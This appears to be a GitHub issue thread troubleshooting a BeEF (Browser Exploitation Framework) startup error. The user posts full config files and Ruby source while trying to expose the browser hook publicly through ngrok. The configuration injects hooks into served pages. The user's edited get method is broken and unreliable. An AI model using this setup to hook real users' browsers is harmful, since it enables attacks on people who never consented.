Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

configuration.rb:202: undefined method `[]' for nil:NilClass (NoMethodError) #2367

Closed
catchmeifyoucaan opened this issue Mar 21, 2022 · 94 comments
Labels

Comments

@catchmeifyoucaan
Copy link

Submit Issue

Verify first that your issue/request has not been posted previously:

Ensure you're using the latest version of BeEF.

Please do your best to provide as much information as possible. It will help substantially if you can enable and provide debugging logs with your issue. Instructions for enabling debugging logs are below:

  1. In the config.yaml file of your BeEF root folder set debug and client_debug (lines 11 & 13 respectively) to true
    • If using a standard installation of beef-xss the root folder will typically be /usr/share/beef-xss
  2. Reproduce your error
  3. Retrieve your client-side logs from your browser's developer console (Ctrl + Shift + I)
  4. Retrieve your server-side logs from ~/.beef/beef.log
  5. If using beef-xss: Retrieve your service logs using journalctl -u beef-xss

Thank you, this will greatly aid us in identifying the root cause of your issue :)

If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.
Feel free to open it back up if you continue to have issues.

Summary

Q: Please provide a brief summary of the issue that you experienced.
./beef
[22:55:32][!] Fatal Error: cannot load configuration file '/home/surprise/beef/./config.yaml' : undefined method get' for BeEF::Core::Configuration:Class Did you mean? gem [22:55:32][!] ["/home/surprise/beef/core/ruby/print.rb:39:in print_debug'", "/home/surprise/beef/core/main/configuration.rb:49:in rescue in load'", "/home/surprise/beef/core/main/configuration.rb:43:in load'", "/home/surprise/beef/core/main/configuration.rb:28:in initialize'", "./beef:83:in new'", "./beef:83:in <main>'"] Traceback (most recent call last): 4: from ./beef:91:in

'
3: from /home/surprise/beef/core/main/configuration.rb:201:in get' 2: from /home/surprise/beef/core/main/configuration.rb:201:in inject'
1: from /home/surprise/beef/core/main/configuration.rb:201:in each' /home/surprise/beef/core/main/configuration.rb:202:in block in get': undefined method `[]' for nil:NilClass (NoMethodError)

Environment

Please identify the environment in which your issue occurred.

  1. BeEF Version:

  2. Ruby Version: Ruby error I think

  3. Browser Details (e.g. Chrome v81.0): Firefox

  4. Operating System (e.g. OSX Catalina): Linux WSL on Windows 10

Configuration

Q: Have you made any changes to your BeEF configuration?
Yes

Q: Have you enabled or disabled any BeEF extensions?
A:

Expected vs. Actual Behaviour

Expected Behaviour:
for beef to start up


Actual Behaviour:
shows the above error

Steps to Reproduce

Please provide steps to reproduce this issue.

  1. ./beef

Additional Information

Please provide any additional information which may be useful in resolving this issue, such as debugging output and relevant screen shots. Debug output can be retrieved by following the instructions towards the top of the issue template.
it was working all fine but the hook url was showing internal server erro, so i decide to use ngrok with it, this is what i have been getting please

@bcoles
Copy link
Collaborator

bcoles commented Mar 21, 2022

BeEF Version:

Which version of BeEF?

Ruby Version: Ruby error I think

Which version of Ruby?

Fatal Error: cannot load configuration file '/home/surprise/beef/./config.yaml'

This is usually caused by a malformed config file. Can you post your config file? Be sure to redact anything sensitive (like passwords and possibly hostnames) first.

@catchmeifyoucaan
Copy link
Author

Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net

Browser Exploitation Framework (BeEF) - http://beefproject.com

See the file 'doc/COPYING' for copying permission

BeEF Configuration file

beef:
version: '0.5.4.0'
# More verbose messages (server-side)
debug: true
# More verbose messages (client-side)
client_debug: true
# Used for generating secure tokens
crypto_default_value_length: 80

# Credentials to authenticate in BeEF.
# Used by both the RESTful API and the Admin interface
credentials:
    user:   "**"
    passwd: "**"

# Interface / IP restrictions
restrictions:
    # subnet of IP addresses that can hook to the framework
    permitted_hooking_subnet: ["10.1.0.0/16"]
    # subnet of IP addresses that can connect to the admin UI
    #permitted_ui_subnet: ["127.0.0.1/32", "::1/128"]
    permitted_ui_subnet: ["127.0.0.1/32"]
    # subnet of IP addresses that cannot be hooked by the framework
    excluded_hooking_subnet: []
    # slow API calls to 1 every  api_attempt_delay  seconds
    api_attempt_delay: "0.05"

# HTTP server 
http:
    debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
    host: "0.0.0.0"
    port: "3000"

    # Decrease this setting to 1,000 (ms) if you want more responsiveness
    #  when sending modules and retrieving results.
    # NOTE: A poll timeout of less than 5,000 (ms) might impact performance
    #  when hooking lots of browsers (50+).
    # Enabling WebSockets is generally better (beef.websocket.enable)
    xhr_poll_timeout: 1000

    # Host Name / Domain Name
    # If you want BeEF to be accessible via hostname or domain name (ie, DynDNS),
    # These settings will be used to create a public facing URL
    # This public facing URL will be used for all hook related calls
    # set the public setting below:
    # public:

host: "http://7464-197-221-212-40.ngrok.io"

port: "3000" # public port will default to 80 if no https 443 if https

                  # and local if not set but there is a public host

https: true # true/false

    # Reverse Proxy / NAT
    # If you want BeEF to be accessible behind a reverse proxy or NAT,
    #   set both the publicly accessible hostname/IP address and port below:
    # NOTE: Allowing the reverse proxy will enable a vulnerability where the ui/panel can be spoofed
    #   by altering the X-FORWARDED-FOR ip address in the request header.
    allow_reverse_proxy: false

    # Hook
   dns: "localhost" #Address of DNS server
    hook_file: "/hook.js"
    hook_session_name: "BEEFHOOK"
    session_cookie_name: "BEEFESSION"

    # Allow one or multiple origins to access the RESTful API using CORS
    # For multiple origins use: "http://browserhacker.com, http://domain2.com"
    restful_api:
        allow_cors: false
        cors_allowed_domains: "http://browserhacker.com"

    # Prefer WebSockets over XHR-polling when possible.
    websocket:
        enable: false
        port: 61985 # WS: good success rate through proxies
        # Use encrypted 'WebSocketSecure'
        # NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
        secure: true
        secure_port: 61986 # WSSecure
        ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it
        ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel

    # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
    web_server_imitation:
        enable: true
        type: "apache" # Supported: apache, iis, nginx
        hook_404: true # inject BeEF hook in HTTP 404 responses
        hook_root: true # inject BeEF hook in the server home page
    # Experimental HTTPS support for the hook / admin / all other Thin managed web services
    https:
        enable: false
        # Enabled this config setting if you're external facing uri is using https
        public_enabled: false
        # In production environments, be sure to use a valid certificate signed for the value
        # used in beef.http.public (the domain name of the server where you run BeEF)
        key: "beef_key.pem"
        cert: "beef_cert.pem"

database:
    file: "beef.db"

# Autorun Rule Engine
autorun:
    # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
    # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually
    # continue execution regardless of results.
    # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.
    result_poll_interval: 300
    result_poll_timeout: 5000

    # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
    # This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
    continue_after_timeout: true

# Enables DNS lookups on zombie IP addresses
dns_hostname_lookup: true

# IP Geolocation
geoip:
    enable: true
    # GeoLite2 City database created by MaxMind, available from https://www.maxmind.com
    database: '/usr/share/GeoIP/GeoLite2-City.mmdb'

# Integration with PhishingFrenzy
# If enabled BeEF will try to get the UID parameter value from the hooked URI, as this is used by PhishingFrenzy
# to uniquely identify the victims. In this way you can easily associate phishing emails with hooked browser.
integration:
    phishing_frenzy:
        enable: false

# You may override default extension configuration parameters here
# Note: additional experimental extensions are available in the 'extensions' directory
#       and can be enabled via their respective 'config.yaml' file
extension:
    admin_ui:
        enable: true
        base_path: "/ui"
    demos:
        enable: true
    events:
        enable: true
    evasion:
        enable: false
    requester:
        enable: true
    proxy:
        enable: true
    network:
        enable: true
    metasploit:
        enable: false
    social_engineering:
        enable: true
    xssrays:
        enable: true

ruby version: ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]

latest beef version

@bcoles
Copy link
Collaborator

bcoles commented Mar 21, 2022

The config file is in YAML format. Whitespace is important.

The dns key is not vertically aligned correctly.

@bcoles
Copy link
Collaborator

bcoles commented Mar 21, 2022

Also, as far as I'm aware, the dns key does nothing. I have no idea why it is in your config file.

@catchmeifyoucaan
Copy link
Author

thank u so much, i just corrected that and got this little error now
[23:13:32][!] Warning: System language $LANG '' does not appear to be UTF-8 compatible.
Traceback (most recent call last):
./beef:119:in <main>': undefined method validate' for BeEF::Core::Configuration:Class (NoMethodError)

@catchmeifyoucaan
Copy link
Author

okay, ill remove the dns key now

@catchmeifyoucaan
Copy link
Author

thank i remove the dns key but the error is still there
[23:15:42][!] Warning: System language $LANG '' does not appear to be UTF-8 compatible.
Traceback (most recent call last):
./beef:119:in <main>': undefined method validate' for BeEF::Core::Configuration:Class (NoMethodError)

@bcoles
Copy link
Collaborator

bcoles commented Mar 21, 2022

./beef:119:in

': undefined method validate' for BeEF::Core::Configuration:Class (NoMethodError)

Strange. There's no immediately obvious reason why this would fail.

You could try removing these lines from beef, but that will likely be hiding another bug.

beef/beef

Lines 116 to 121 in 5fdd96f

#
# @note Validate configuration file
#
unless BeEF::Core::Configuration.instance.validate
exit 1
end

@catchmeifyoucaan
Copy link
Author

sorry, but i dont see anything like this in config.yaml, where should i make the changes, under what configuration

@bcoles
Copy link
Collaborator

bcoles commented Mar 21, 2022

sorry, but i dont see anything like this in config.yaml, where should i make the changes, under what configuration

It's code in the beef file.

@catchmeifyoucaan
Copy link
Author

after i deleted those lines, it shows this again
**Traceback (most recent call last):
4: from ./beef:119:in <main>' 3: from /home/surprise/beef/core/main/configuration.rb:201:in get'
2: from /home/surprise/beef/core/main/configuration.rb:201:in inject' 1: from /home/surprise/beef/core/main/configuration.rb:201:in each'
/home/surprise/beef/core/main/configuration.rb:202:in block in get': undefined method []' for nil:NilClass (NoMethodError)
**

@bcoles
Copy link
Collaborator

bcoles commented Mar 21, 2022

after i deleted those lines, it shows this again

Have you made any other changes to the config file apart from removing the dns key?

I'm not sure how that key ended up in your config file in the first place.

That error implies hat parsing the configuration file has failed. If you've made changes, can you post your config file again?

Admittedly the error handling sucks. There's no indication of which key is causing the error. It is possible, although unlikely, that the error is triggered by a misconfigured file for one of the extensions. Have you modified any of the config.yaml files in any of the extensions?

@bcoles bcoles changed the title Ruby error in beef configuration.rb:202: undefined method `[]' for nil:NilClass (NoMethodError) Mar 21, 2022
@catchmeifyoucaan
Copy link
Author

Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net

Browser Exploitation Framework (BeEF) - http://beefproject.com

See the file 'doc/COPYING' for copying permission

BeEF Configuration file

beef:
version: '0.5.4.0'
# More verbose messages (server-side)
debug: true
# More verbose messages (client-side)
client_debug: true
# Used for generating secure tokens
crypto_default_value_length: 80

# Credentials to authenticate in BeEF.
# Used by both the RESTful API and the Admin interface
credentials:
    user:   "surprise"
    passwd: "surprise"

# Interface / IP restrictions
restrictions:
    # subnet of IP addresses that can hook to the framework
    permitted_hooking_subnet: ["10.1.0.0/16"]
    # subnet of IP addresses that can connect to the admin UI
    #permitted_ui_subnet: ["127.0.0.1/32", "::1/128"]
    permitted_ui_subnet: ["127.0.0.1/32"]
    # subnet of IP addresses that cannot be hooked by the framework
    excluded_hooking_subnet: []
    # slow API calls to 1 every  api_attempt_delay  seconds
    api_attempt_delay: "0.05"

# HTTP server 
http:
    debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
    host: "0.0.0.0"
    port: "3000"

    # Decrease this setting to 1,000 (ms) if you want more responsiveness
    #  when sending modules and retrieving results.
    # NOTE: A poll timeout of less than 5,000 (ms) might impact performance
    #  when hooking lots of browsers (50+).
    # Enabling WebSockets is generally better (beef.websocket.enable)
    xhr_poll_timeout: 1000

    # Host Name / Domain Name
    # If you want BeEF to be accessible via hostname or domain name (ie, DynDNS),
    # These settings will be used to create a public facing URL
    # This public facing URL will be used for all hook related calls
    # set the public setting below:
    # public:
    host: "http://7464-197-221-212-40.ngrok.io"
    port: "3000" # public port will default to 80 if no https 443 if https 
                  # and local if not set but there is a public host
    https: true # true/false

    # Reverse Proxy / NAT
    # If you want BeEF to be accessible behind a reverse proxy or NAT,
    #   set both the publicly accessible hostname/IP address and port below:
    # NOTE: Allowing the reverse proxy will enable a vulnerability where the ui/panel can be spoofed
    #   by altering the X-FORWARDED-FOR ip address in the request header.
    allow_reverse_proxy: false

    # Hook
    hook_file: "/hook.js"
    hook_session_name: "BEEFHOOK"
    session_cookie_name: "BEEFESSION"

    # Allow one or multiple origins to access the RESTful API using CORS
    # For multiple origins use: "http://browserhacker.com, http://domain2.com"
    restful_api:
        allow_cors: false
        cors_allowed_domains: "http://browserhacker.com"

    # Prefer WebSockets over XHR-polling when possible.
    websocket:
        enable: false
        port: 61985 # WS: good success rate through proxies
        # Use encrypted 'WebSocketSecure'
        # NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
        secure: true
        secure_port: 61986 # WSSecure
        ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it
        ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel

    # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
    web_server_imitation:
        enable: true
        type: "apache" # Supported: apache, iis, nginx
        hook_404: true # inject BeEF hook in HTTP 404 responses
        hook_root: true # inject BeEF hook in the server home page
    # Experimental HTTPS support for the hook / admin / all other Thin managed web services
    https:
        enable: false
        # Enabled this config setting if you're external facing uri is using https
        public_enabled: false
        # In production environments, be sure to use a valid certificate signed for the value
        # used in beef.http.public (the domain name of the server where you run BeEF)
        key: "beef_key.pem"
        cert: "beef_cert.pem"

database:
    file: "beef.db"

# Autorun Rule Engine
autorun:
    # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
    # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually
    # continue execution regardless of results.
    # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.
    result_poll_interval: 300
    result_poll_timeout: 5000

    # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
    # This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
    continue_after_timeout: true

# Enables DNS lookups on zombie IP addresses
dns_hostname_lookup: true

# IP Geolocation
geoip:
    enable: true
    # GeoLite2 City database created by MaxMind, available from https://www.maxmind.com
    database: '/usr/share/GeoIP/GeoLite2-City.mmdb'

# Integration with PhishingFrenzy
# If enabled BeEF will try to get the UID parameter value from the hooked URI, as this is used by PhishingFrenzy
# to uniquely identify the victims. In this way you can easily associate phishing emails with hooked browser.
integration:
    phishing_frenzy:
        enable: false

# You may override default extension configuration parameters here
# Note: additional experimental extensions are available in the 'extensions' directory
#       and can be enabled via their respective 'config.yaml' file
extension:
    admin_ui:
        enable: true
        base_path: "/ui"
    demos:
        enable: true
    events:
        enable: true
    evasion:
        enable: false
    requester:
        enable: true
    proxy:
        enable: true
    network:
        enable: true
    metasploit:
        enable: false
    social_engineering:
        enable: true
    xssrays:
        enable: true

no, i have not made any changes after i deleted the dns, and i added it from a tutorial i saw on youtube when the hook link wasnt working, beef was working fine before all of this, just the hook. pleaswe

@catchmeifyoucaan
Copy link
Author

#!/usr/bin/env ruby

Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net

Browser Exploitation Framework (BeEF) - http://beefproject.com

See the file 'doc/COPYING' for copying permission

@note stop Fixnum deprecation warning from being displayed

$VERBOSE = nil

@note Version check to ensure BeEF is running Ruby 2.7+

min_ruby_version = '2.7'
if RUBY_VERSION < min_ruby_version
puts
puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version #{min_ruby_version} or later."
puts
exit 1
end

@note Platform check to ensure BeEF is not running on Windows

if RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw')
puts
puts "Ruby platform #{RUBY_PLATFORM} is not supported."
puts
exit 1
end

@note set load path, application root directory and user preferences directory

$root_dir = File.join(File.expand_path(File.dirname(File.realpath(FILE))), '.')
$:.unshift($root_dir)
$home_dir = File.expand_path("#{Dir.home}/.beef/", FILE).freeze

@note Require core loader

require 'core/loader'
require 'timeout'

@note Ask user if they would like to update beef

if File.exist?("#{$root_dir}git") && BeEF::Core::Console::CommandLine.parse[:update_disabled] == false
if BeEF::Core::Console::CommandLine.parse[:update_auto] == true
print 'Checking latest BeEF repository and updating'
git pull && bundle
elsif git rev-parse master != git rev-parse origin/master
begin
Timeout.timeout(5) do
puts '-- BeEF Update Available --'
print 'Would you like to update to lastest version? y/n: '
response = gets
git pull && bundle if response&.strip == 'y'
end
rescue Timeout::Error
puts "\nUpdate Skipped with input timeout"
end
end
end

@note Create ~/.beef/

begin
FileUtils.mkdir_p($home_dir) unless File.directory?($home_dir)
rescue => e
print_error "Could not create '#{$home_dir}': #{e.message}"
exit 1
end

@note Initialize the Configuration object. Loads a different config.yaml if -c flag was passed.

if BeEF::Core::Console::CommandLine.parse[:ext_config].empty?
config = BeEF::Core::Configuration.new("#{$root_dir}/config.yaml")
else
config = BeEF::Core::Configuration.new("#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
end

@note set log level

BeEF.logger.level = config.get('beef.debug') ? Logger::DEBUG : Logger::WARN

@note Check the system language settings for UTF-8 compatibility

env_lang = ENV['LANG']
if env_lang !~ /(utf8|utf-8)/i
print_warning "Warning: System language $LANG '#{env_lang}' does not appear to be UTF-8 compatible."
if env_lang =~ /\A([a-z]+_[a-z]+)./i
country = $1
print_more "Try: export LANG=#{country}.utf8"
end
end

@note Check if port and WebSocket port need to be updated from command line parameters

unless BeEF::Core::Console::CommandLine.parse[:port].empty?
config.set('beef.http.port', BeEF::Core::Console::CommandLine.parse[:port])
end

unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty?
config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port])
end

@note Exit on default credentials

if config.get("beef.credentials.user").eql?('beef') && config.get("beef.credentials.passwd").eql?('beef')
print_error "ERROR: Default username and password in use!"
print_more "Change the beef.credentials.passwd in config.yaml"
exit 1
end

@note Validate beef.http.public and beef.http.public_port

unless config.get('beef.http.public.host').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public.host'))
print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public.host')}"
exit 1
end

unless config.get('beef.http.public.port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public.port'))
print_error "ERROR: Invalid public port: #{config.get('beef.http.public.port')}"
exit 1
end

@note After the BeEF core is loaded, bootstrap the rest of the framework internals

require 'core/bootstrap'

@note Prints the BeEF ascii art if the -a flag was passed

if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true
BeEF::Core::Console::Banners.print_ascii_art
end

@note Prints BeEF welcome message

BeEF::Core::Console::Banners.print_welcome_msg

@note Loads enabled extensions

BeEF::Extensions.load

@note Loads enabled modules

BeEF::Modules.load

@note Disable reverse DNS

Socket.do_not_reverse_lookup = true

@note Database setup

@note Load the database

db_file = config.get('beef.database.file')

@note Resets the database if the -x flag was passed

if BeEF::Core::Console::CommandLine.parse[:resetdb]
print_info 'Resetting the database for BeEF.'
File.delete(db_file) if File.exists?(db_file)
end

Connect to DB

ActiveRecord::Base.logger = nil
OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file)

otr-activerecord require you to manually establish the connection with the following line

#Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.
if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')
OTR::ActiveRecord.establish_connection!
end

Migrate (if required)

context = ActiveRecord::Migration.new.migration_context
if context.needs_migration?
ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate
end

@note Extensions may take a moment to load, thus we print out a please wait message

print_info 'BeEF is loading. Wait a few seconds...'

@note Execute migration procedure, checks for new modules

BeEF::Core::Migration.instance.update_db!

@note Create HTTP Server and prepare it to run

http_hook_server = BeEF::Core::Server.instance
http_hook_server.prepare

@note Prints information back to the user before running the server

BeEF::Core::Console::Banners.print_loaded_extensions
BeEF::Core::Console::Banners.print_loaded_modules
BeEF::Core::Console::Banners.print_network_interfaces_count
BeEF::Core::Console::Banners.print_network_interfaces_routes

@note Prints the API key needed to use the RESTful API

print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"

@note Load the GeoIP database

BeEF::Core::GeoIp.instance

@note Call the API method 'pre_http_start'

BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)

@note Load any ARE (Autorun Rule Engine) rules scanning the <beef_root>/arerules/enabled directory

BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory

@note Start the WebSocket server

if config.get("beef.http.websocket.enable")
BeEF::Core::Websocket::Websocket.instance
BeEF::Core::Console::Banners.print_websocket_servers
end

@note Start HTTP server

print_info 'BeEF server started (press control+c to stop)'
http_hook_server.start
My beef configuration, incase the error wasnt in the config file

@catchmeifyoucaan
Copy link
Author

Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net

Browser Exploitation Framework (BeEF) - http://beefproject.com

See the file 'doc/COPYING' for copying permission

module BeEF
module Core
class Configuration
attr_accessor :config

  # antisnatchor: still a singleton, but implemented by hand because we want to have only one instance
  # of the Configuration object while having the possibility to specify a parameter to the constructor.
  # This is  why we don't use anymore the default Ruby implementation -> include Singleton
  def self.instance
    @@instance = self
  end

  # Loads the default configuration system
  # @param [String] configuration_file Configuration file to be loaded,
  #        by default loads $root_dir/config.yaml
  def initialize(config)
    raise TypeError, "'config' needs to be a string" unless config.string?
    raise TypeError, "Configuration file '#{config}' cannot be found" unless File.exist? config

    begin
      # open base config
      @config = load(config)
      # set default value if key? does not exist
      @config.default = nil
      @@config = config
    rescue StandardError => e
      print_error "Fatal Error: cannot load configuration file '#{config}' : #{e.message}"
      print_error e.backtrace
    end

    @@instance = self
  end

  # Loads yaml file
  # @param [String] file YAML file to be loaded
  # @return [Hash] YAML formatted hash
  def load (file)
    return nil unless File.exist? file

    raw = File.read file
    YAML.safe_load raw
  rescue StandardError => e
    print_debug "Unable to load configuration file '#{file}' : #{e.message}"
    print_error e.backtrace
  end

  #
  # @note balidate the configuration file
  #
  def validate
    if @config.empty?
      print_error 'Configuration file is empty'
      return
    end

    if @config['beef'].nil?
      print_error "Configuration file is malformed: 'beef' is nil"
      return
    end

    if @config['beef']['credentials'].nil?
      print_error "Configuration file is malformed: 'beef.credentials' is nil"
      return
    end

    if @config['beef']['http'].nil?
      print_error "Configuration file is malformed: 'beef.http' is nil"
      return
    end

    return unless validate_public_config_variable?(@config)

    if @config['beef']['http']['public_port']
      print_error 'Config path beef.http.public_port is deprecated.'
      print_error 'Please use the new format for public variables found'
      print_error 'https://github.com/beefproject/beef/wiki/Configuration#web-server-configuration'
      return
    end

    true
  end

  #
  # Returns the configuration value for the http server host
  # If nothing is set it should default to 0.0.0.0 (all interfaces)
  def local_host
    get('beef.http.host') || '0.0.0.0'
  end

  #
  # Returns the configuration value for the http server port
  # If nothing is set it should default to 3000
  def local_port
    get('beef.http.port') || '3000'
  end

  #
  # Return the local protocol
  # if nothing is set default to http
  def local_proto
    local_https_enabled ? 'https' : 'http'
  end

  #
  # Returns the configuration value for the local https enabled
  # If nothing is set it should default to false
  def local_https_enabled
    get('beef.http.https.enable') || false
  end

  #
  # Returns the configuration value for the http server host
  def public_host
    get('beef.http.public.host')
  end

  #
  # Returns the beef host which is used by external resources
  # e.g. hooked browsers
  def beef_host
    public_host || local_host
  end

  #
  # Returns the beef port which is used by external resource
  # e.g. hooked browsers
  def beef_port
    public_port || local_port
  end

  def public_enabled?
    !get('beef.http.public.host').nil?
  end

  #
  # Returns the beef protocol that is used by external resources
  # e.g. hooked browsers
  def beef_proto
    if public_enabled? && public_https_enabled?
      'https'
    elsif public_enabled? && !public_https_enabled?
      'http'
    elsif !public_enabled?
      local_proto
    end
  end

  #
  # Returns the beef scheme://host:port for external resources
  # e.g. hooked browsers
  def beef_url_str
    "#{beef_proto}://#{beef_host}:#{beef_port}"
  end

  # Returns the hool path value stored in the config file
  #
  # @return [String] hook file path
  def hook_file_path
    get('beef.http.hook_file') || '/hook.js'
  end

  # Returns the url to the hook file
  #
  # @return [String] the url string
  def hook_url
    "#{beef_url_str}#{hook_file_path}"
  end

  # Returns the configuration value for the http server port
  # If nothing is set it should default to 3000
  def public_port
    return get('beef.http.public.port') unless get('beef.http.public.port').nil?

    return '443' if public_https_enabled?
    return '80' unless public_host.nil?

    nil
  end

  #
  # Returns the configuration value for the local https enabled
  # If nothing is set it should default to false
  def public_https_enabled?
    get('beef.http.public.https') || false
  end

  #
  # Returns the value of a selected key in the configuration file.
  # @param [String] key Key of configuration item
  # @return [Hash|String] The resulting value stored against the 'key'
  #
  def get(key)
    subkeys = key.split('.')
    lastkey = subkeys.pop
    subhash = subkeys.inject(@config) do |hash, k|
    hash [:k]
    end
    return nil if subhash.nil?

    subhash.key?(lastkey) ? subhash [lastkey] : nil
  end

  #
  # Sets the give key value pair to the config instance
  # @param [String] key The configuration key
  # @param value The value to be stored against the 'key'
  # @return [Boolean] If the store procedure was successful
  #
  def set(key, value)
    subkeys = key.split('.').reverse
    return false if subkeys.empty?

    hash = { subkeys.shift.to_s => value }
    subkeys.each { |v| hash = { v.to_s => hash } }
    @config = @config.deep_merge hash
    true
  end

  #
  # Clears the given key hash
  # @param [String] key Configuration key to be cleared
  # @return [Boolean] If the configuration key was cleared
  #
  def clear(key)
    subkeys = key.split('.')
    return false if subkeys.empty?

    lastkey = subkeys.pop
    hash = @config
    subkeys.each { |v| hash = hash[v] }
    hash.delete(lastkey).nil? ? false : true
  end

  #
  # Load extensions configurations
  #
  def load_extensions_config
    set('beef.extension', {})
    Dir.glob("#{$root_dir}/extensions/*/config.yaml") do |cf|
      y = load(cf)
      if y.nil?
        print_error "Unable to load extension configuration '#{cf}'"
        next
      end

      y['beef']['extension'][y['beef']['extension'].keys.first]['path'] = cf.gsub(/config\.yaml/, '').gsub(%r{#{$root_dir}/}, '')
      @config = y.deep_merge(@config)
    end
  end

  #
  # Load module configurations
  #
  def load_modules_config
    set('beef.module', {})
    # support nested sub-categories, like browser/hooked_domain/ajax_fingerprint
    module_configs = File.join("#{$root_dir}/modules/**", 'config.yaml')
    Dir.glob(module_configs) do |cf|
      y = load(cf)
      if y.nil?
        print_error "Unable to load module configuration '#{cf}'"
        next
      end

      y['beef']['module'][y['beef']['module'].keys.first]['path'] = cf.gsub('config.yaml', '').gsub(%r{#{$root_dir}/}, '')
      @config = y.deep_merge @config
      # API call for post module config load
      BeEF::API::Registrar.instance.fire(
        BeEF::API::Configuration,
        'module_configuration_load',
        y['beef']['module'].keys.first
      )
    end
  end

  private

  def validate_public_config_variable?(config)
    return true if config['beef']['http']['public'].is_a?(Hash) ||
                   config['beef']['http']['public'].is_a?(NilClass)

    print_error 'Config path beef.http.public is deprecated.'
    print_error 'Please use the new format for public variables found'
    print_error 'https://github.com/beefproject/beef/wiki/Configuration#web-server-configuration'
    false
  end
end

end
end

i made little changes to this configuration.rb too. please check them out, beef has been delaying my study for quite a while now

@catchmeifyoucaan
Copy link
Author

I'm counting on you @bcoles

@bcoles
Copy link
Collaborator

bcoles commented Mar 21, 2022

Please use triple backticks to format code. It makes the code much easier to read.

no, i have not made any changes after i deleted the dns, and i added it from a tutorial i saw on youtube when the hook link wasnt working, beef was working fine before all of this, just the hook. pleaswe

I don't understand what that means, but if you've followed some random youtube tutorial and that broke things then that's probably the cause.

i made little changes to this configuration.rb too. please check them out, beef has been delaying my study for quite a while now

If you made "little changes" and now things are broken, and if this is really important to you and is holding you up, then I suggest cloning the repository again and making sure that works. If it works from a clean clone then the issue is clearly one of the changes you've made.

@bcoles
Copy link
Collaborator

bcoles commented Mar 21, 2022

no, i have not made any changes after i deleted the dns, and i added it from a tutorial i saw on youtube when the hook link wasnt working, beef was working fine before all of this, just the hook. pleaswe

Ok I see the problem. This wasn't in the config file the first time you posted it, but it is in your config file now:

        host: "http://7464-197-221-212-40.ngrok.io"
        port: "3000" # public port will default to 80 if no https 443 if https 
                      # and local if not set but there is a public host
        https: true # true/false

That is incorrect. The host property expects a host not a URL.

        host: "7464-197-221-212-40.ngrok.io"
        port: "3000" # public port will default to 80 if no https 443 if https 
                      # and local if not set but there is a public host
        https: true # true/false

@catchmeifyoucaan
Copy link
Author

yes, thats exactly the problem, i wanted to add ngrok so the hook url can work because it shows internal server erro and doesnt hook the browser, im confused, if i want to use with ngrok, whats supposed to be in the host space? or if i have to delete those which ill do now, can you tell me how to make the hook url work pleaseeeeee

@bcoles
Copy link
Collaborator

bcoles commented Mar 21, 2022

whats supposed to be in the host space?

#2367 (comment)

@catchmeifyoucaan
Copy link
Author

Credentials to authenticate in BeEF.

# Used by both the RESTful API and the Admin interface
credentials:
    user:   "surprise"
    passwd: "surprise"

# Interface / IP restrictions
restrictions:
    # subnet of IP addresses that can hook to the framework
    permitted_hooking_subnet: ["10.1.0.0/16"]
    # subnet of IP addresses that can connect to the admin UI
    #permitted_ui_subnet: ["127.0.0.1/32", "::1/128"]
    permitted_ui_subnet: ["127.0.0.1/32"]
    # subnet of IP addresses that cannot be hooked by the framework
    excluded_hooking_subnet: []
    # slow API calls to 1 every  api_attempt_delay  seconds
    api_attempt_delay: "0.05"

# HTTP server 
http:
    debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
    host: "0.0.0.0"
    port: "3000"

    # Decrease this setting to 1,000 (ms) if you want more responsiveness
    #  when sending modules and retrieving results.
    # NOTE: A poll timeout of less than 5,000 (ms) might impact performance
    #  when hooking lots of browsers (50+).
    # Enabling WebSockets is generally better (beef.websocket.enable)
    xhr_poll_timeout: 1000

    # Host Name / Domain Name
    # If you want BeEF to be accessible via hostname or domain name (ie, DynDNS),
